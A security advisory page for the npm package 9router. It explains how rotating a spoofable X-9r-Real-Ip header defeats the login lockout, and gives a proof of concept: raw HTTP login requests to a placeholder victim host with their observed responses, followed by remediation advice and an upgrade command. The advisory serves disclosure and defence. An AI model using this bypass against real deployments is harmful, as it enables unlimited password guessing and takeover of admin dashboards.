VDB
Sign up
MEDIUM5.3

GHSA-32gc-64m7-hj7v

9Router has a Login Brute-Force Lockout Bypass via Spoofable X-9r-Real-Ip Header

Quick fix

GHSA-32gc-64m7-hj7v — 9router: upgrade to the fixed version with the command below.

npm install 9router@0.5.8

Details

# Summary

9router enforces a progressive login lockout (5 failed attempts → temporary 30s+ lock) keyed on the client IP. The client IP used for this limiter is taken from the X-9r-Real-Ip request header, which is intended to be set only by the bundled custom-server.js layer from the unspoofable TCP socket address. In deployment modes where requests reach Next.js directly, a remote attacker controls this header and can assign a unique value to every request. Because each distinct header value maps to a fresh limiter bucket, the lockout never triggers, enabling unlimited password guessing against the dashboard login endpoint. This was reproduced against a live instance: a fixed header value was locked out (429) after 5 attempts, while rotating the header produced unlimited 401 responses with no lockout.

# Affected Component

- `src/lib/auth/loginLimiter.js` - `getClientIp()` — derives the rate-limit bucket key from the client-supplied `X-9r-Real-Ip` header - `checkLock()` / `recordFail()` — per-IP progressive lockout (`MAX_FAILS_BEFORE_LOCK = 5`) - `src/app/api/auth/login/route.js` — login endpoint protected by the above limiter

# Root Cause

The brute-force protection partitions failed-attempt counters by client IP, but obtains that IP from a client-controllable HTTP header rather than from the transport layer. `getClientIp()` returns the value of `X-9r-Real-Ip` directly. The design assumes this header is produced and sanitized only by the trusted `custom-server.js` wrapper. When the application is served without that wrapper, the header passes through unmodified, so the attacker chooses the bucket key. Since the lockout is per-bucket, assigning a new value per request keeps every counter below the threshold:

```text Untrusted Client Input ↓ X-9r-Real-Ip: <attacker-chosen, rotated each request> ↓ getClientIp() → distinct bucket per request ↓ recordFail()/checkLock() → threshold (5) never reached ↓ unlimited 401 attempts, no 429 lockout ```

# Attack Scenario

1. The instance is deployed in a mode that does not use `custom-server.js`, and the login endpoint is reachable by the attacker (the default bind is `0.0.0.0`).

2. The attacker submits password guesses to `POST /api/auth/login`, setting a different `X-9r-Real-Ip` value on each request (e.g., `10.0.0.1`, `10.0.0.2`, ...).

3. Each request is counted against a new bucket, so the limiter always reports remaining attempts and never returns `429`.

4. The attacker continues guessing without throttling until the dashboard password is recovered, yielding an authenticated admin session.

# Proof of Concept

## Baseline — fixed header value (lockout enforced)

Repeated `POST /api/auth/login` with a constant `X-9r-Real-Ip: 9.9.9.9` and body `{"password":"wrong"}`:

```http POST /api/auth/login HTTP/1.1 Host: victim.example.com:20127 X-9r-Real-Ip: 9.9.9.9 Content-Type: application/json Content-Length: 20 Connection: close

{"password":"wrong"} ```

Observed responses (sequential):

```text #1 → 401 {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}

#2 → 401 {"error":"Invalid password. 3 attempt(s) left before lockout.","remainingBeforeLock":3}

#3 → 401 {"error":"Invalid password. 2 attempt(s) left before lockout.","remainingBeforeLock":2}

#4 → 401 {"error":"Invalid password. 1 attempt(s) left before lockout.","remainingBeforeLock":1}

#5 → 429 Retry-After: 30 {"error":"Too many failed attempts. Try again in 30s. ...","retryAfter":30} ```

## Exploit — rotated header value (lockout bypassed)

Same request and body, but a different `X-9r-Real-Ip` per request, sent while `9.9.9.9` was already locked:

```http POST /api/auth/login HTTP/1.1 Host: victim.example.com:20127 X-9r-Real-Ip: 10.0.0.1 Content-Type: application/json Content-Length: 20 Connection: close

{"password":"wrong"} ```

Observed responses:

```text X-9r-Real-Ip: 10.0.0.1 → 401 {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}

X-9r-Real-Ip: 10.0.0.2 → 401 {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}

X-9r-Real-Ip: 10.0.0.3 → 401 {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4} ``` <img width="1211" height="814" alt="Screenshot 2026-06-19 183338" src="https://github.com/user-attachments/assets/07e37cf3-1860-4a06-8b27-97a5f6b9be64" /> <img width="1208" height="816" alt="Screenshot 2026-06-19 183408" src="https://github.com/user-attachments/assets/27021c5c-cb29-4649-887e-8de46f4c6e1c" />

Every rotated value resets to `"4 attempt(s) left"` and never returns `429`, demonstrating unbounded guessing. # Impact

The login brute-force/credential-stuffing protection can be fully neutralized by a remote, unauthenticated attacker. This permits unlimited password guessing against the dashboard login endpoint, materially increasing the likelihood of account compromise. A recovered password yields an authenticated administrative session over the 9router dashboard and its protected APIs. The bypass is especially impactful given the default network bind (`0.0.0.0`) and the existence of a default dashboard password, both of which lower the effort required to succeed.

# Remediation

- Do not derive the rate-limit key from a client-controllable header. Base `getClientIp()` on the transport-level peer address (`req.socket.remoteAddress`) for the limiter bucket. - Only honor forwarded client-IP headers when they originate from explicitly trusted, configured proxy infrastructure. - If `custom-server.js` is required for the security model, fail closed when its trusted marker is absent, and strip/reject any inbound client-supplied `X-9r-*` headers at the edge before they reach the limiter. - Consider a global (non-bucketed) attempt ceiling and exponential backoff as defense-in-depth so that header manipulation cannot reset all counters.

Are you affected?

Enter the version of the package you're using.

Affected packages

npm/9router
Introduced in: 0Fixed in: 0.5.8
Fixnpm install 9router@0.5.8

References